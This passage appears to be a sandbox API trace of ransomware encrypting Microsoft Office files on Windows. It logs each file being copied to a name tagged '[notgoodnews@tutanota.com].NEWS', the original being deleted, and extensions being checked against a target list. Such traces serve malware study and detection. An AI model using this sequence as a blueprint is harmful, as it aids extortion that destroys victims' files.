nNumberOfBytesToWrite=0x2d760, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d760, lpOverlapped=0x0) returned 1 [0173.866] ReadFile (in: hFile=0x474, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0173.866] WriteFile (in: hFile=0x544, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0173.867] SetEndOfFile (hFile=0x544) returned 1 [0173.867] CloseHandle (hObject=0x544) returned 1 [0173.867] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.867] SetEndOfFile (hFile=0x474) returned 1 [0173.873] CloseHandle (hObject=0x474) returned 1 [0173.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 1 [0173.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0173.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0173.875] lstrlenW (lpString=".doc") returned 4 [0173.875] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.875] lstrlenW (lpString=".docx") returned 5 [0173.875] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.875] lstrlenW (lpString=".pdf") returned 4 [0173.875] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.875] lstrlenW (lpString=".xls") returned 4 [0173.875] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.875] lstrlenW (lpString=".xlsx") returned 5 [0173.875] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.875] lstrlenW (lpString=".ppt") returned 4 [0173.875] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0173.875] lstrlenW (lpString=".zip") returned 4 [0173.875] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.875] lstrlenW (lpString=".rar") returned 4 [0173.875] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.875] lstrlenW (lpString=".bz2") returned 4 [0173.875] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.875] lstrlenW (lpString=".7z") returned 3 [0173.875] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0173.875] lstrlenW (lpString=".dbf") returned 4 [0173.875] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0173.876] lstrlenW (lpString=".1cd") returned 4 [0173.876] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0173.876] lstrlenW (lpString=".jpg") returned 4 [0173.876] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0173.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0173.876] lstrlenW (lpString=".doc") returned 4 [0173.876] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.876] lstrlenW (lpString=".docx") returned 5 [0173.876] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.876] lstrlenW (lpString=".pdf") returned 4 [0173.876] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.876] lstrlenW (lpString=".xls") returned 4 [0173.876] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.876] lstrlenW (lpString=".xlsx") returned 5 [0173.876] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.876] lstrlenW (lpString=".ppt") returned 4 [0173.876] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0173.876] lstrlenW (lpString=".zip") returned 4 [0173.876] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.876] lstrlenW (lpString=".rar") returned 4 [0173.876] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.876] lstrlenW (lpString=".bz2") returned 4 [0173.876] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.876] lstrlenW (lpString=".7z") returned 3 [0173.876] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0173.876] lstrlenW (lpString=".dbf") returned 4 [0173.876] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0173.876] lstrlenW (lpString=".1cd") returned 4 [0173.877] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0173.877] lstrlenW (lpString=".jpg") returned 4 [0173.877] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.877] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0173.877] lstrlenW (lpString="Subtle Solids.eftx") returned 18 [0173.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0173.878] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=45435) returned 1 [0173.878] CloseHandle (hObject=0x474) returned 1 [0173.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 0x220 [0173.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0173.879] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.879] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0173.880] GetLastError () returned 0x0 [0173.880] ReadFile (in: hFile=0x474, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0xb17b, lpOverlapped=0x0) returned 1 [0173.883] WriteFile (in: hFile=0x544, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xb180, lpOverlapped=0x0) returned 1 [0173.885] ReadFile (in: hFile=0x474, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0173.885] WriteFile (in: hFile=0x544, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0173.885] SetEndOfFile (hFile=0x544) returned 1 [0173.885] CloseHandle (hObject=0x544) returned 1 [0173.885] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.885] SetEndOfFile (hFile=0x474) returned 1 [0173.889] CloseHandle (hObject=0x474) returned 1 [0173.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 1 [0173.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0173.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0173.890] lstrlenW (lpString=".doc") returned 4 [0173.890] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.890] lstrlenW (lpString=".docx") returned 5 [0173.890] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.890] lstrlenW (lpString=".pdf") returned 4 [0173.890] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.891] lstrlenW (lpString=".xls") returned 4 [0173.891] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.891] lstrlenW (lpString=".xlsx") returned 5 [0173.891] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.891] lstrlenW (lpString=".ppt") returned 4 [0173.891] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0173.891] lstrlenW (lpString=".zip") returned 4 [0173.891] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.891] lstrlenW (lpString=".rar") returned 4 [0173.891] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.891] lstrlenW (lpString=".bz2") returned 4 [0173.891] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.891] lstrlenW (lpString=".7z") returned 3 [0173.891] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0173.891] lstrlenW (lpString=".dbf") returned 4 [0173.891] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0173.891] lstrlenW (lpString=".1cd") returned 4 [0173.891] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0173.891] lstrlenW (lpString=".jpg") returned 4 [0173.891] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0173.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0173.891] lstrlenW (lpString=".doc") returned 4 [0173.891] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.891] lstrlenW (lpString=".docx") returned 5 [0173.891] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.891] lstrlenW (lpString=".pdf") returned 4 [0173.891] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.891] lstrlenW (lpString=".xls") returned 4 [0173.891] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.891] lstrlenW (lpString=".xlsx") returned 5 [0173.891] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.892] lstrlenW (lpString=".ppt") returned 4 [0173.892] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0173.892] lstrlenW (lpString=".zip") returned 4 [0173.892] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.892] lstrlenW (lpString=".rar") returned 4 [0173.892] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.892] lstrlenW (lpString=".bz2") returned 4 [0173.892] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.892] lstrlenW (lpString=".7z") returned 3 [0173.892] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0173.892] lstrlenW (lpString=".dbf") returned 4 [0173.892] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0173.892] lstrlenW (lpString=".1cd") returned 4 [0173.892] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0173.892] lstrlenW (lpString=".jpg") returned 4 [0173.892] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.892] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0173.892] lstrlenW (lpString="Top Shadow.eftx") returned 15 [0173.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0174.100] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=56944) returned 1 [0174.101] CloseHandle (hObject=0x4f0) returned 1 [0174.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 0x220 [0174.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.109] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.109] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0174.110] GetLastError () returned 0x0 [0174.110] ReadFile (in: hFile=0x4dc, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0xde70, lpOverlapped=0x0) returned 1 [0174.116] WriteFile (in: hFile=0x4f0, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xde80, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xde80, lpOverlapped=0x0) returned 1 [0174.118] ReadFile (in: hFile=0x4dc, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0174.119] WriteFile (in: hFile=0x4f0, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xf2, lpOverlapped=0x0) returned 1 [0174.119] SetEndOfFile (hFile=0x4f0) returned 1 [0174.119] CloseHandle (hObject=0x4f0) returned 1 [0174.119] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.119] SetEndOfFile (hFile=0x4dc) returned 1 [0174.128] CloseHandle (hObject=0x4dc) returned 1 [0174.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 1 [0174.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0174.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0174.130] lstrlenW (lpString=".doc") returned 4 [0174.130] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0174.130] lstrlenW (lpString=".docx") returned 5 [0174.130] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0174.130] lstrlenW (lpString=".pdf") returned 4 [0174.130] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0174.130] lstrlenW (lpString=".xls") returned 4 [0174.130] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0174.130] lstrlenW (lpString=".xlsx") returned 5 [0174.130] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0174.130] lstrlenW (lpString=".ppt") returned 4 [0174.130] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0174.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0174.130] lstrlenW (lpString=".zip") returned 4 [0174.130] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0174.130] lstrlenW (lpString=".rar") returned 4 [0174.131] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0174.131] lstrlenW (lpString=".bz2") returned 4 [0174.131] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0174.131] lstrlenW (lpString=".7z") returned 3 [0174.131] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0174.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0174.131] lstrlenW (lpString=".dbf") returned 4 [0174.131] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0174.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0174.131] lstrlenW (lpString=".1cd") returned 4 [0174.131] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0174.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0174.131] lstrlenW (lpString=".jpg") returned 4 [0174.131] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0174.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0174.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0174.131] lstrlenW (lpString=".doc") returned 4 [0174.131] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0174.131] lstrlenW (lpString=".docx") returned 5 [0174.131] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0174.131] lstrlenW (lpString=".pdf") returned 4 [0174.131] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0174.131] lstrlenW (lpString=".xls") returned 4 [0174.131] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0174.132] lstrlenW (lpString=".xlsx") returned 5 [0174.132] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0174.132] lstrlenW (lpString=".ppt") returned 4 [0174.132] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0174.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0174.132] lstrlenW (lpString=".zip") returned 4 [0174.132] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0174.132] lstrlenW (lpString=".rar") returned 4 [0174.132] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0174.132] lstrlenW (lpString=".bz2") returned 4 [0174.132] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0174.132] lstrlenW (lpString=".7z") returned 3 [0174.132] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0174.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0174.132] lstrlenW (lpString=".dbf") returned 4 [0174.132] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0174.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0174.132] lstrlenW (lpString=".1cd") returned 4 [0174.132] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0174.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0174.132] lstrlenW (lpString=".jpg") returned 4 [0174.132] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0174.133] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.133] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0174.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.135] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=21184) returned 1 [0174.136] CloseHandle (hObject=0x4dc) returned 1 [0174.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0174.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0174.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0174.136] lstrlenW (lpString=".doc") returned 4 [0174.136] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.136] lstrlenW (lpString=".docx") returned 5 [0174.136] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.136] lstrlenW (lpString=".pdf") returned 4 [0174.136] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.137] lstrlenW (lpString=".xls") returned 4 [0174.137] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.137] lstrlenW (lpString=".xlsx") returned 5 [0174.137] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.137] lstrlenW (lpString=".ppt") returned 4 [0174.137] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0174.137] lstrlenW (lpString=".zip") returned 4 [0174.137] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.137] 